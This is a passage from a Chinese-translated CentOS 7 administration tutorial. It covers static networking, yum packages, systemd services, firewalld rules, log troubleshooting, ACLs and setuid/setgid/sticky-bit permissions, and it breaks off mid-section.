地址列表,您将看到我们新添加的网络接口出现在 3 号接口,名称为`enp0s8`。此外,您将看到,当前没有任何 IP 地址自动关联到此设备: - -![](img/73d2b578-48b4-4c74-a1ce-8cb883c2a864.png) - -7. 让我们获得一些关于我们当前网络的信息。让我们显示网络设备的 IP 路由表: - -![](img/3c96398b-731e-42d5-a76e-63bb483819a1.png) - -可以看到,IP 地址为`10.0.2.15`的`enp0s3`网络适配器,也就是我们过去使用端口转发从主机通过 SSH 连接的接口,目前在 IP 路由表中有两条路由。第一条路由是我们当前所在子网`10.0.2.0`的路由。这意味着,如果我们试图联系我们子网中的另一台计算机,将采用此路由。比如`10.0.2.16`。我们想要到达的所有其他 IP 地址都使用默认路由,该路由指向 IP 地址`10.0.2.2`。这是我们路由器的 IP 地址。例如,如果你想去 www.google.com,首先使用域名服务器将域名转换成一个 IP 地址,然后将它与我们在那里的路由进行匹配。我们可以使用`nslookup`命令,使用系统默认的 DNS 服务器将任何域名解析为一个 IP 地址。如您所见,`google.com`域名的 IP 地址如下: - -![](img/62bfc9da-cce4-4664-8dac-671ef3cee1a4.png) - -由于以`172`开头的 IP 地址不是我们子网的一部分,因此将使用默认路由。`10.0.2.2` IP 地址后面坐的是真正的硬件路由器;它将负责虚拟机和`google.com`网站之间的正确路由。 - -在我们使用`enp0s8`网络接口在我们的三个虚拟机之间创建新的网络连接之前,让我们设置三个唯一的 FQDNs。我们将使用根帐户来实现这一点。 - -要打印出 FQDN,使用`hostnamectl status`命令: - -![](img/d2b2fee6-5c14-4e70-8cd7-9abf309a5f1b.png) - -如你所见,目前我们有`localhost.localdomain`的 FQDN。现在,要更改 FQDN,请使用`hostnamectl`命令的设置主机名选项。在我们的示例中,我们使用了主机名或计算机名 master 和域名`centos7vt.com`。全限定域名为`master.centos7vt.com`。 - -让我们使用`status`选项重新检查。在另外两个虚拟机上,我们稍后将设置`hostnames`、`client1`和`client2`,以及相同的域名`centos7vt.com`。您也可以通过编辑`/etc/hostname`文件来设置 FQDN。 - -要更改系统默认的 DNS 服务器 IP 地址,请打开名为`/etc/resolv.conf`的文件。在关键字名称服务器下,您可以更改或添加新的名称服务器。例如,要添加新的名称服务器,请引入新的名称服务器行并更改 IP 地址。在这个例子中,我们将使用谷歌的官方 DNS 服务器地址,或者您可以只使用`1`: - -![](img/c13125f7-07d1-4c24-9338-b0f1fdbfa1f3.png) - -接下来,让我们为新的网络适配器`enp0s8`设置一个新的静态网络配置。在 CentOS 7 上,所有的网络配置文件都可以在`/etc/sysconfig/network-scripts`找到: - -![](img/4ee5ade4-92f0-467d-bfc4-5c02715d4b29.png) - -可以看到,对于`enp0s3`网络接口,有一个对应的网络接口配置文件叫做`ifcfg-enp0s3`。让我们通过键入`cat ifcfg-eno0s3`来查看其内容存在: - -![](img/2a6f1619-bd75-49dd-b4c5-e3611bb8b4a5.png) - -关于这个以太网设备最重要的事情是它从 DHCP 服务器获得它的 IP 地址,设备在启动时被激活,并且有设备标识`enp0s3`。在不同的环境中配置不同的网络设备时,您在此配置文件中看到的其他项目也会变得非常重要。由于`if`配置文件格式没有可视化手册页,请参考`/usr/share/doc/initscripts-* sysconfig.txt:`的优秀文档 - -![](img/9755575b-bd9e-4891-89bd-2233ccefee41.png) - -如果你打开文件并搜索`ifcfg`,你会看到`ifcfg`文件格式的所有不同项目都被解释的部分。例如,BOOTPROTO 项目可以具有值`none`、`bootp`和`dhcp`。由于`bootp`和`dhcp`都是指我们要配置为静态设备的新网络设备`enp0s8`的 DHCP 客户端,所以我们将使用`BOOTPROTO none`,但是我们需要哪些项目来设置简单的静态网络连接?因为我们只设置内部网络,所以不需要设置任何路由,只需要在我们的**接口配置** ( **ifcfg** )文件中很少的信息。 - -因此,我们将需要以下项目:名称、设备、IP 地址,因为我们将硬编码一个静态 IP 地址,以及 BOOTPROTO,我们将设置为无。因此,让我们从介绍开始回顾我们的计划网络配置。 - -大家会记得,我们当前登录的主节点应该有第二个网络接口,静态 IP 地址`10.0.5.1`。**客户端 1** 应该有第二个网络适配器,静态 IP 地址为`10.0.5.2`,**客户端 2** 应该有`10.0.5.3`,都是为了节点之间的内部网络通信: - -![](img/a14839a1-810b-49f4-8e5c-2e6373551eb8.png) - -让我们配置我们的新设备: - -1. 如您所见,我们目前在网络脚本文件夹中,在那里可以找到所有网络接口的配置文件。因此,让我们首先为新的网络接口创建一个新的配置文件: - -![](img/d882dba1-3d6e-442f-9f4b-1d3edcd914de.png) - -2. 我们将把`enp0s3`网络设备的现有配置文件复制到新的`enp0s8`配置文件中,让我们的生活变得轻松。现在让我们打开这个新的配置文件: - -![](img/9df1539f-96c1-49e3-9820-e523df3ef92c.png) - -3. 让我们将引导协议更改为`none`以进行静态 IP 配置。大部分项目都是不需要的,删除就行了。将设备名称改为`s8`;这里不需要 UUID。此外,更改设备标识,将`ONBOOT`保留为`yes`,这样服务器重启时界面就会出现,最后,添加一行新内容,定义我们静态互联网网络配置的硬编码 IP 地址。使用主服务器的 IP 地址`10.0.5.1`: - -![](img/160a492c-6f77-4aae-9044-45a61fba1ec6.png) - -4. 现在保存文件并退出。 -5. 然后,我们需要硬重置我们的`enp0s8`网络接口,以便我们对配置文件所做的更改可以应用于设备,并且静态 IP 地址可以激活。为此,首先使用`ifdown`命令关闭`enp0s8`设备。 -6. 然后使用`ifup`命令将其恢复在线。 -7. 最后,让我们回顾一下`ip addr`列表命令。 - -如果您比较一下`enp0s8`在我们重启设备之前和之后的输出,您会发现我们对配置文件所做的更改是有效的,现在我们的`enp0s8`网络设备有了一个静态 IP`10.0.5.1`。 - -现在,在我们为 enp0s8 网络适配器设置了静态网络配置之后,让我们使用`ip route show`命令重新检查我们的 IP 路由表。如果您在我们设置新的网络接口`enp0s8`之前和之后比较路由表,您将会看到在我们新的`10.0.0.0`子网中为路由网络通信创建了一条新的路由。 - -最后一件事仍然留在主节点上,因为我们没有专用的域名系统服务器,就是在`/etc/hosts`文件中设置我们网络的计算机名称到 IP 的关系。总是通过首先使用完全限定的域名在文件末尾添加新条目,然后您可以添加更多的短主机名。您始终可以为同一个 IP 地址添加多个名称: - -![](img/5cf43398-71bf-472c-a115-572956e2d689.png) - -第一个条目将是我们刚刚设置的自己的机器。其他条目是为我们即将建立的客户准备的。保存并退出文件。现在启动两个客户端虚拟机。引导虚拟机完成后,在您选择的终端仿真器中打开两个新选项卡。左边的第一个标签保存到`master`节点的连接。在右侧的下一个选项卡上,请使用端口`2223`上的 SSH 端口转发登录到`client2`虚拟机。在第三个选项卡中,登录到端口`2224`上的`client2`虚拟机。现在转到中间选项卡,我们的`client1`虚拟机已打开。 - -在这里,让我们重复配置我们的`enp0s8`网络接口的步骤,以便我们可以在我们的服务器之间建立连接: - -1. 首先,以 root 用户身份登录。 -2. 接下来,将完全限定的域名设置为`client1.centos7vt.com`。 -3. 接下来,为我们新的 **enp0s8** 静态网络连接创建一个配置文件。在这里,输入与主页面上相同的信息;仅将 IP 地址更改为`10.0.5.2`。保存并退出文件。 -4. 接下来,重新启动网络接口: - -![](img/ef38b7ea-cd77-4153-baf2-3a571405c203.png) - -如您所见,我们已经成功地为 enp0s8 网络接口分配了`10.0.5.2` IP 地址。最后,在`/etc/hosts`文件中添加条目,这样我们就可以解析子网中的其他域名。添加与母版上相同的信息: - -![](img/33c6d24e-7726-4bbb-952c-8172592ebe07.png) - -保存并退出文件。接下来,对第三个选项卡中的`client2`虚拟机执行相同的步骤。首先,以 root 用户身份登录,使用`client2`作为主机名,使用`10.0.5.3`作为 IP 地址,重新启动网络接口,最后,向`/etc/hosts`文件添加条目。 - -现在我们已经建立了专用网络进行通信,测试它是否正常工作的最简单方法是使用`ping`命令。此命令可用于查看另一台主机是否处于活动状态且可访问。如果无法访问,将打印以下错误消息: - -![](img/bdd15634-cffe-40ad-b43b-dcb7674c2595.png) - -现在让我们从第一个选项卡中的`master`开始连接测试。首先,让我们测试一下我们是否可以通过 IP 地址`10.0.5.2`到达`client1`: - -![](img/e37912ee-7319-4678-96be-9c0de4eb968a.png) - -如你所见,这很有效。另外,测试我们是否可以通过 IP 地址`10.0.5.3`到达`client2`: - -![](img/5922c243-45c3-4a53-ba99-9d7d36306baa.png) - -如你所见,这也有效。 - -下一步,测试我们的`/etc/hosts`配置是否也在工作。为此,让我们 ping 一下在这个文件中设置的各种主机名。client1 的完全限定域名正在工作。此外,主机名 client1 正在工作。C2 也是客户 2 的简称。client2 的完全限定域名也在工作。短名称 client2 有效,非常短的名称 c2 也适用于 client2: - -![](img/6f2f0d87-9ba5-48e1-a600-db4e829f1f73.png) - -现在让我们转到客户 1。在这里,让我们测试一下是否可以到达主服务器: - -![](img/8ed41205-90b4-4282-a324-4b959042b53e.png) - -是的,起作用了。此外,您可以用不同的名称测试主服务器。让我们也测试一下 client2 连接。用不同的名称测试主机,也测试客户端 1。总之,我们可以说我们三个虚拟机之间的网络配置现在工作正常。 - -# 安装新软件和更新系统 - -在本节中,我们将向您展示如何在您的计算机上安装新软件以及如何更新您的 CentOS 7 系统。 - -首先,让我们显示系统上当前安装的所有 RPM 包。类型`yum list installed`: - -![](img/30cb1957-3e81-4667-b8e7-54f241c1757d.png) - -在[第 1 章](1.html)、*Linux 简介*的安装章节中,我们已经演示了如何使用`yum`命令进行完整的系统更新,该命令将更新已经包含在最小安装中的所有 RPM 包,以及我们之后安装的所有包。 - -要获取系统上已安装的所有软件包的当前可用更新列表,请键入以下命令查看新内容:`yum check update`: - -![](img/c76558bf-ee55-433a-922b-ef67b0f63992.png) - -这里列出了所有的 RPM 软件包以及您可以安装的更新的新版本。所有更新都必须使用根用户完成。所以首先以 root 用户身份登录。要仅更新单个只读存储器软件包,如出现在可用软件更新列表中的`vim-minimal`软件包,使用`yum update`然后合并软件包名称;例如,`vim-minimal`。当要求更新软件包时,输入是,再次输入`yes`确认导入 GBG 密钥: - -![](img/b690227d-48d5-4072-ac95-acd40de53ebf.png) - -我们可以看到,`vim-minimal`包已经成功更新到最新版本。正如我们已经在[第 1 章](1.html)*Linux 简介*中了解到的,在本书中,只需键入`yum update`即可对您系统中当前安装的所有软件包进行完整的系统更新。现在我们按下 *N* 键,取消所有软件包更新的下载和安装。大多数 yum 命令需要用户的某种确认;例如,确认软件包的更新。如果您绝对确定您会对任何问题回答“是”,您可以通过提供`-y`标志来进一步自动执行您选择的`yum`命令。这几乎适用于任何命令。这将执行您选择的 yum 操作,无需用户进一步确认。 - -Please note that there is a big ongoing debate as to whether you need to restart your system after packages have been updated. The consensus is that normally this is not needed, but, if the kernel or glibc software packages have been updated, you should do it. Of course, you should really do it for security reasons. - -当我们比较系统中当前安装的内核和当前运行的内核时,我们还可以看到重新启动是必要的: - -![](img/51086241-cad9-4526-b139-3c426fdb7c0f.png) - -当前运行的内核以`514.el7`结束。目前安装的最新内核以`514.21`结尾,所以我们目前没有运行最新的内核。让我们重新启动系统。重新启动完成后,您以 root 用户身份登录回系统,再次键入`uname -r`命令,现在我们可以看到我们正在运行最新的内核,因此在这种情况下需要重新启动: - -![](img/0ffbc806-45d5-4371-8a2c-66c649bd0ced.png) - -现在,要使用关键字(例如,`Apache2 Web Server`)在包存储库中进行搜索,请使用`yum search`命令,然后使用关键字。这将打印出与关键字匹配的所有软件包的列表;在我们的例子 apache 中,在包名或包描述中: - -![](img/a60ce958-e594-4ec3-962a-5c37c94874b8.png) - -If you want to get more information about one of the package names (for example, the HTTP package name), you can use the `yum info` subcommand. - -另一个真正有用的特性是,如果您知道 RPM 包中包含的文件或命令的名称,但实际上不知道该命令或文件来自的 RPM 包的名称,您可以使用`yum whatprovides`命令,在您正在搜索的命令或文件前面加上一个`*/`: - -![](img/c1abd357-91c0-4b4d-985f-0d707cd77ac6.png) - -在本例中,我们正在搜索所有包含名为`ifconfig`的文件或命令的包名。如我们所见,我们在`net-tools` RPM 包中有一个命中,其中一个二进制或命令存在于`/bin/ifconfig`中。 - -现在,要安装软件包,使用`yum install`命令,提供软件包名称作为参数。在这个例子中,我们安装了 Apache HTTP 服务器包: - -![](img/c6586b70-c9d5-4aab-8427-6300090f38f6.png) - -另一个有趣的命令是`rpm -ql`命令,后跟已安装软件包的名称,以获得该软件包已安装的所有文件及其在文件系统中的确切位置的列表。要删除软件包,可以使用`yum remove`命令,然后选择要删除的软件包的名称。 - -在[第 4 章](4.html)、*使用命令行*中,我们向您展示了如何使用名为`epl`的第三方存储库来安装像`htop`和`iotop `这样的软件,因为它们不能从官方的 CentOS 7 存储库中获得。例如,如果您搜索`htop`包,它不能从官方来源获得: - -![](img/dbd7df80-c72e-4d4b-b55b-ba849eb087c3.png) - -因此,让我们安装`epl`存储库,因为它可以从默认包源获得。如您所见,`epl`存储库可以使用`epl-release`转速包安装: - -![](img/6f6ab4a0-25f8-43af-877c-a6faa714eed1.png) - -通过检索系统中所有可用存储库的列表,使用以下命令查看`epl`存储库是否已成功安装。 - -我们现在可以找到`htop`包,因为它是`epl`的一部分。安装其他存储库并不容易,因为官方没有 RPM 软件包,但是大多数第三方存储库可以通过下载外部 RPM 来安装。您很可能会在网页上找到存储库。比如著名的`remi`资源库,首先可以从官方`remi`网站下载官方`remi`资源库 RPM 包: - -![](img/b24cc00c-09b8-401c-960a-8068b8877e71.png) - -接下来,使用带有大写`Uvh`选项的`rpm`命令安装下载的`remi`存储库转速: - -![](img/36b3d925-073f-482d-aad1-94c694276e48.png) - -然后,您需要通过编辑`remi yum config`文件来启用`remi`存储库。首先,打开`/etc/yum.repos.d`文件夹中的`remi.repo`文件。在这里,在这个文件中,转到`remi`部分,然后转到启用的关键字,并将其从`0`更改为`1`: - -![](img/bdbbea0b-df94-4d34-904e-2c99c9ec5176.png) - -现在保存文件。然后,您可以在更新存储库软件包列表后使用新安装的第三方存储库。要重新检查第三方存储库是否已正确安装,您也可以再次使用`yum repolist`命令: - -![](img/f823d15b-ac5d-4591-9288-7371a77ad319.png) - -# 服务介绍 - -在本节中,我们将向您展示如何在 CentOS 7 中使用服务。 - -让我们打开本章上一节中的三个虚拟机,主机、客户机 1 和客户机 2,它们在同一内部子网中连接在一起。 - -让我们从安装一个简单的网络服务开始。在我们的示例中,让我们在主服务器上安装 Apache2 web 服务器,因为它非常容易设置和使用: - -![](img/b1c94fc5-d607-4404-b5fb-02b51325e815.png) - -现在,在 CentOS 7 上安装`httpd`包后,您可以使用`systemctl`命令管理服务,该命令是`systemd`服务的一部分。 - -要获取系统中当前可用的所有设备的列表,请使用以下命令:`system ctl list-units`。这将打开导航较少的设备列表: - -![](img/f10184d1-dbf5-4f50-9514-9da0f0dcafc5.png) - -如您所见,不同类型的单元文件是可用的;比如以`device`结尾的,以`mount`结尾的,以及服务文件。按 *q* 退出导航。要获得系统中所有当前可用服务的列表,只需键入`systemctl list-unit-files`,然后使用`--type=service`过滤服务。在此列表中,您将看到系统中当前启用或禁用的所有可用服务。当我们安装 Apache2 网络服务器时,一个当前被禁用的`httpd services`文件也存在。要获得单个服务的详细状态,使用带有`status`选项和服务名称的`systemctl`命令;在我们的示例中,`httpd`服务: - -![](img/5eae9ca8-290b-4f07-821c-3ea361bd9d5e.png) - -如您所见,在安装了我们新的 Apache HTTP 服务器后,该服务没有运行。默认情况下,一个`systemd`服务可以有两种对我们很重要的不同状态:启用或禁用,以及活动或不活动。在我们的示例中,`httpd`服务在安装后默认处于禁用和非活动状态。就像任何其他服务一样,默认情况下,Apache HTTP 服务器是禁用和不活动的。启用意味着每次启动 Linux 系统时,服务都会自动启动,这也称为启动时。活动意味着服务当前正在运行。 - -要启动服务,使用`systemctl start`选项,然后使用服务名称;在我们的例子中,`httpd.service`。现在再次使用`status`选项重新检查服务: - -![](img/e89d371a-9b1a-4bc9-89e1-153ae2eb91d2.png) - -如你所见,它正在运行。此外,您可以在这里的输出中看到另外两件非常重要的事情。首先,您可以看到一个服务可以由几个进程组成。在我们的例子中,httpd 服务由六个不同的 HTTP 进程组成。另一件重要的事情是`systemctl status`命令将输出服务启动时生成的最后几行消息。由进程生成的这类有用的文本行也被称为日志,可以为我们提供关于服务运行行为的有用信息。尽管如此,我们的服务还是被禁用了。要启用它,请使用`systemctl enable`选项。现在再次查看状态: - -![](img/b9c38fcc-8e8d-4750-b4e7-91730e31363f.png) - -现在您可以看到它也已启用,因此每次我们重新启动服务器时,该服务都会自动启动。要停止当前正在运行的服务,请使用`systemctl stop`选项。我们会看到它又不活动了。 - -需要注意的是,启动或停止不会影响服务的禁用或启用的服务器启动行为。这里,该服务在未运行时仍处于启用状态。反之亦然。禁用或启用服务不会启动或停止它。 - -要禁用服务,请使用`systemctl disable`选项。然后,再次启动服务。现在,为了测试我们的 HTTP 服务器是否正常工作,是否能够承载和传递 web 内容,让我们首先为我们的服务器创建一个标准的主页。我们服务器的标准主页是`/var/www/html`文件夹中的`index.html`文件。现在,合并以下 HTML 内容,这是来自我们服务器的问候消息: - -![](img/cff68994-f27a-4b15-8029-9a4659952270.png) - -保存并退出文件。现在,要从我们的新 web 服务器访问我们的主页,请使用`wget`: - -![](img/eadcb655-17c1-4942-8cfc-03b71c88fcfb.png) - -如您所见,我们可以从主服务器本地正确访问主页。现在,如果您停止 web 服务并再次尝试访问我们的网页,会发生什么?您将看到该网页不再可访问。重新启动 web 服务器。现在,让我们测试一下是否可以从本地网络中的另一台机器访问我们的新 web 服务器。只需转到 client1 选项卡,测试 web 服务器是否可以通过网络访问。你会发现事实并非如此。 - -# 基本系统故障排除和防火墙 - -在本节中,我们将继续我们在上一节中开始的关于 Apache2 网络服务器的工作,以便让我们子网中的其他计算机可以访问它。另外,我们将向您简要介绍 CentOS 7 中的 Linux 防火墙。 - -正如本章第一节中简要提到的,网络连接总是通过 IP 地址和端口的组合来建立的,这两者合起来称为套接字地址。现在,每个 Linux 网络服务(如邮件或 web 服务器)都必须连接到一个 IP 地址和端口,这样我们就可以从网络中的不同计算机或同一台本地计算机与它建立连接: - -![](img/ca19ad25-2863-484d-a1d2-e52c22dcc128.png) - -当我们谈论网络通信时,我们通常称之为“服务正在监听 IP 地址 a 端口 b”。比如我们的 web 服务器监听 IP 地址`10.0.2.15`的端口`80`,邮件服务监听端口`24`,web 服务监听 IP 地址`10.0.2.15`的端口`80`,FTP 服务监听 IP 地址`10.0.2.15`的端口`21`。 - -但是,如果我们在系统上配置了多个网络接口,并且都使用不同的 IP 地址,那么您可能会想知道服务使用哪个 IP 地址进行通信?答案很简单。安装后,任何 Linux 系统上的大多数网络服务默认情况下都会侦听所有可用的网络接口进行网络连接。对于几乎所有标准服务,您也可以将其更改为只监听特定的网络接口、网络连接、子网,甚至网络范围: - -![](img/572ef538-ecca-44bf-89a9-a9dfd2bf1c6c.png) - -有些甚至在安装后默认只监听本地主机,因为这些通常是非常关键的服务,系统管理员需要有意更改监听地址来衡量责任,让他们意识到风险。 - -假设您有一台运行多个网络服务的 Linux 服务器,每个服务器都在不同的端口上侦听。防火墙是一种管理计算机连接的工具。在 Linux 中,标准防火墙被称为**防火墙**。此防火墙可以保护您的系统免受来自系统外部的不需要的网络连接,例如,如果有入侵者试图闯入您的系统并窃取数据。它通过管理您的传入网络端口来进行通信。默认情况下,`firewalld`关闭除用于 SSH 连接的端口`22`之外的所有传入网络端口。否则,您将无法远程连接到您的计算机: - -![](img/09ebe94d-250e-4f5e-a26f-83b843a62f48.png) - -所以如果你想有某种网络通信,你必须明确地告诉防火墙这样做。您可以打开或关闭单个端口或端口范围,等等。这对于管理服务器上的安全性有很大帮助,但需要注意的是,默认情况下,firewalld 不会限制系统内的任何本地网络通信,因此 localhost 网络连接始终工作,不会被防火墙阻止。此外,非常重要的是要知道,firewalld 默认情况下只是一个传入防火墙,这意味着它根本不会阻止任何传出连接: - -![](img/052891d5-d628-4e37-a634-28f6aea3e317.png) - -为了解决这个问题,我们需要知道如何对系统服务进行故障排除。所以,首先回到运行这个 web 服务器的主服务器。要找出你的服务是否有问题,至少总有三个地方可以找。我们应该做的第一件事是检查`systemctl status`输出,就像我们之前做的那样。如您所见,服务当前正在运行,服务的最终当前输出行也看起来像`OK`: - -![](img/4852cf3c-9a62-4c11-a9ae-684b1aaf659a.png) - -有时,在这个输出中,如果服务运行不正常,您会发现错误消息或警告。 - -有时,一个服务的日志输出的最后两行是不够的,所以如果您需要对您的服务进行故障排除,第二个要寻找的地方是`journalctl`命令。如果您使用带有`-u`标志的`journalctl`命令,您可以过滤您选择的服务的日志消息;在我们的示例中,`httpd`服务: - -![](img/3b5c5c41-1015-4efd-ab03-45686d58a550.png) - -这里,在我们的例子中,在`journald`中找不到可疑的日志输出,这是将所有运行的服务的所有日志消息写入一个集中数据库的服务。Apache HTTP 服务器的日志看起来正常。 - -所以,我们可以查找故障排除服务的第三个地方是`rsyslog`日志文件,它位于`/var/log/messages`。打开这个文件,走到最后,按下大写 *G* : - -![](img/a2171118-83f1-4ffa-8b87-340940d9040d.png) - -此外,在`rsyslog`文件中没有记录任何真正可疑的内容。 - -有些服务,比如我们的 Apache HTTP 网络服务器,提供了自己的日志文件,用于故障排除或获取服务信息。 - -请注意,服务输出自己的日志文件没有标准化的目录,但有些服务会将其日志文件写入`/var/log`文件目录下的子目录中。在这里,您可以找到两个日志文件。一个是`access_log`,它记录用户对我们的网络服务器的访问(例如,服务器上已经下载的文件)。另一个是`error_log`文件,记录这个服务可能遇到的各种错误。所以,先来看看`access_log`文件: - -![](img/0e668333-8e35-4fab-bb91-e36ce2a42c17.png) - -这看起来很正常。现在,也打开`error_log`文件。用大写的 *G* 跳到最后: - -![](img/f5c1e5a5-f975-48b6-b180-f452087d2a57.png) - -在这里,找不到特殊的错误信息。 - -为什么我们的服务器之外没有人可以访问 Apache HTTP 网络服务器而不是 CentOS 7,这个问题的解决方案是,一个非常严格的防火墙处于活动状态,几乎可以阻止任何传入的网络连接。 - -您可以通过输入`firewall-cmd --list-all`查看当前允许的防火墙规则。在 CentOS 7 上,标准防火墙称为防火墙: - -![](img/35a33271-a875-4714-8a9e-5de4ff1c6e07.png) - -正如您在这里看到的,默认情况下只允许 SSH 服务与我们的服务器通信。Firewalld 主要保护所有传入的网络连接。从我们的服务器到其他服务器的传出连接不受限制;这就是为什么我们可以从本地主机访问我们的 web 服务器,而不能从任何其他主机访问。 - -要解决这个问题,我们可以在防火墙中打开 HTTP 服务,也称为打开端口 80。为了让我们可以永久地做到这一点,使用以下两个命令:`firewall-cmd --permanent --add-service`,然后`http`。为了应用更改,接下来重新加载防火墙规则。最后,让我们看看现在是否在防火墙中启用了 HTTP 服务: - -![](img/082b7f50-01bf-4157-bc61-71755cc6b741.png) - -如你所见,这很有效。 - -最后,让我们测试一下是否可以从另一台服务器远程连接到我们的 Apache 网络服务器。转到客户端 1,重复`wget`命令: - -![](img/92529b85-e4fc-4cf6-864b-3e7e42283faa.png) - -是的,它起作用了!您现在可以访问网络中的 web 服务器。 - -到目前为止,我们还没有讨论过如何从防火墙中删除服务。要从防火墙配置中删除 HTTP 服务或端口,请使用以下防火墙命令语法,`firewall-cmd --permanent --remove-service`。 - -然后是选择的服务;在我们的例子中,`http`服务。类似于添加服务,您还必须在这里重新加载防火墙。让我们重新检查防火墙设置: - -![](img/3e52883d-5cfc-41f4-a520-2197296924a7.png) - -可以看到,HTTP 端口已经关闭。 - -最后,firewalld 服务的一个非常有用的特性是在不提供服务名称的情况下打开单个端口号。如果您需要打开一个没有服务文件(如 HTTP)可用的端口,这非常有用。比如打开端口`12345`,使用 TCP 协议。重新加载防火墙后,让我们显示新的防火墙配置: - -![](img/0b4341af-f9ed-4dad-8a59-1d58e993016b.png) - -如您所见,端口`12345`现在使用 TCP 协议打开。除了 TCP,您还可以使用 UDP 协议。现在,要使用 TCP 协议关闭端口`12345`,请使用以下命令。在这里,还要重新加载防火墙配置。让我们重新检查一下: - -![](img/d6ddbcd4-835b-4b8f-b995-f77c4afefc3f.png) - -让我们总结一下到目前为止所学的内容: - -1. 如果是服务相关的问题,首先看一下服务的`systemctl`输出。 -2. 如果问题仍然存在,接下来查看服务的`journalctl`输出。 -3. 如果是一般的系统问题,或者您无法用`systemctl`和`journalctl`输出修复您的服务问题,接下来看看`/var/log-messages rsyslog`输出文件。 -4. 此外,有些服务在`journald`或`rsyslog`文件之外提供特殊的日志文件位置,所以也可以看看。但是您必须知道,不是每个服务或程序都有这样一个特殊的日志文件目录或输出。 -5. 最后,我们向您简要介绍了使用预定义服务文件(如 HTTP)的 firewalld 服务,并向您展示了如何使用服务文件未定义的单个端口。在下一章中,我们将向您展示高级文件权限。 - -# 引入 ACLs - -在本节中,我们将向您简要介绍 ACL 或访问控制列表是如何工作的。 - -Linux 有一些特殊的文件和文件夹权限,即 ACL、`setuid`、`setgid`和`sticky bit`。如果您查看文件系统中的文件,例如只有根用户有权访问的新文件,当前我们以`olip`身份登录: - -![](img/4906246a-fcfb-4bf9-86e9-485310d7210e.png) - -如您所见,`olip`用户对该文件没有写权限。也许你已经问过自己这个问题:在我们的例子中,如何将文件或文件夹的权限授予不是文件或组所有者的个人用户?唯一的方法是使用他人组,但这不是个人,因为所有不是文件或组所有者的用户都属于这一类别。但是在这里,我们要设置单用户权限;例如对于`olip`用户。 - -访问控制列表(ACLs)是一个系统,它以其简单的所有权和权限模型扩展了我们在 Linux 下的正常文件访问控制。使用 ACL,您可以在单个用户或组级别定义文件或文件夹权限。要使用 ACL,请使用`getfacl`和`setfacl`命令。 - -例如,要显示 ACL,请使用`getfacl`命令,然后选择要显示权限的文件名: - -![](img/187752b3-8eaf-47ae-81d9-33a67ca25adf.png) - -在这里,正如您所看到的,这个文件目前没有设置 ACL。与普通的文件权限一样,如果我们想要更改某些内容,我们需要以 root 用户身份登录。现在,要设置 ACL,例如,对于`olip`用户,使用以下命令。如果你还记得[第三章](3.html)*Linux 文件系统*,这应该是不言自明的: - -![](img/1266dd6d-4277-4aea-b587-93992323d892.png) - -要显示 ACL,请再次查看该文件的 ACL。如果你比较一下前后的`getfacl`命令输出,你会发现我们现在对`olup`用户有单用户权限:`read`、`write`和`execute`。现在,`olip`用户应该可以写入这个文件: - -![](img/a64db54e-37ed-42ff-9426-d0033d817100.png) - -成功;ACL 工作正常。 - -您也可以在组级别设置 ACL。这里,我们将使用组标识符,而不是使用用户。要删除单个 ACL,请使用`-x`标志。您还可以在`ls -l`命令的输出中查看一个文件是否有由标记的加号设置的 ACL: - -![](img/26a876b0-52ee-4f1c-b04c-6e65a86eeda1.png) - -# setuid、setgid 和粘性位 - -在本节中,我们将向您展示您需要了解的关于特殊文件权限标志、`setid`、`setgid`和`sticky bit`的所有信息。 - -# 设置用户标识符 - -现在我们来谈谈`setuid`、`setgid`和`sticky bit`。当我们使用用户、组和文件权限时,让我们首先以 root 用户身份登录。 - -首先,让我们在本地创建一个新的用户、组和`whoami`命令的副本,看看`setuid`标志是怎么回事: - -![](img/2f1fd404-74c4-410a-a80f-8e03419f224e.png) - -接下来,让我们将此命令的文件所有者和组所有者更改为`awesome_user`和`awesome_group`: - -![](img/02f714b5-54cd-48dc-ae56-1a3c17a4abc0.png) - -设置`setuid`、`setgid`和`sticky bit`也可以使用八进制符号。您已经从文件权限一章中了解了它们。这些特殊权限可以用文件权限字符串中的一个附加位来表示,使用以下代码: - -![](img/1ee75da5-26b6-492a-a168-1c73dc777f65.png) - -`setuid`有`4`号、`setgid`号、`2`号、`sticky bit`号、`1`号。类似于文件的简单`read`、`write`和`execute`权限,这里还可以给文件添加特殊权限的组合: - -![](img/a7bd5161-7c6d-43a6-9d0f-5b17628d3aed.png) - -如果要同时设置`setuid`和`setgid`标志,需要将`4`和`2`相加,合计`6`,或者`setgid`和`sticky bit`用`3`表示,或者`sticky bit`和`setuid`用`5`表示。 - -现在,我们如何设置特殊权限信息?可以使用`chmod`命令中的附加数字进行设置。您已经知道,定义用户、组和其他人的权限需要三个数字。要显示文件的特殊权限,您可以使用`ls -l`命令,但这很难阅读,使用`getfacl`命令更容易,它不仅适用于 ACL,还显示标志,这些标志是我们特殊权限的名称。默认情况下,没有在任何文件上定义标志或特殊权限,如您在`getfacl`命令的输出中所见: - -![](img/73ae921a-d3f2-4c5a-b852-e6be40e65382.png) - -现在,要给文件添加特殊权限标志,或者换句话说,设置`setuid`、`setgid`或`sticky bit`,可以使用带有四个数字而不是三个数字的`chmod`命令,其中第一个前导数字定义了特殊权限。例如,如果您使用`2`作为`chmod`命令的第一个前导数字,您将设置组标识标志,该标志显示在标志行中。如果我们在第二个位置有一个`s`,它是设定的组标识: - -![](img/51782889-847f-4473-96e9-0750a1376dc6.png) - -现在,要设置`setuid`标志,使用数字`4`作为`chmod`命令中的第一个数字。使用`getfacl`命令重新检查。这里,在标志行中,第一个最左边的字符被设置为`s`: - -![](img/9f985704-14a6-4a96-a593-8d284882d887.png) - -现在,在`getfacl`输出中添加特殊文件权限标志的组合(例如,数字 6,它是`setuid`和`setgid`的组合,或者 4 加 2,等于 6),如下所示: - -![](img/d4d68e59-0267-415d-b6de-289461895060.png) - -第一个最左边的标志是`setuid`标志,第二个标志是`setgid`标志。要设置所有三种权限类型:`setuid`、`setgid`和`sticky bit`,请使用`getfacl`(路径): - -![](img/b272143f-9236-44b3-92c2-10b5457fa3bb.png) - -在这里,您可以看到所有三个标志都已设置。`sticky bit`的简称是`t`而不是`s`。 - -要删除所有特殊文件权限,只需使用`0`作为文件权限编码的编号,只需使用`0`作为`chmod`命令的第一个编号: - -![](img/bfc57246-c6f3-46c0-95a4-3810d23fd8f4.png) - -现在,让我们简单讨论一下`setuid`权限。`setuid`标志只对可执行命令重要,对目录或其他文件类型不重要。同样重要的是要知道,出于安全原因,它不适用于脚本文件,而仅适用于编译后的二进制可执行文件。 - -如前所述,每个进程都有一个关联的用户,我们称之为“运行命令的用户”。在本例中,您看到的所有进程都是由根用户运行的: - 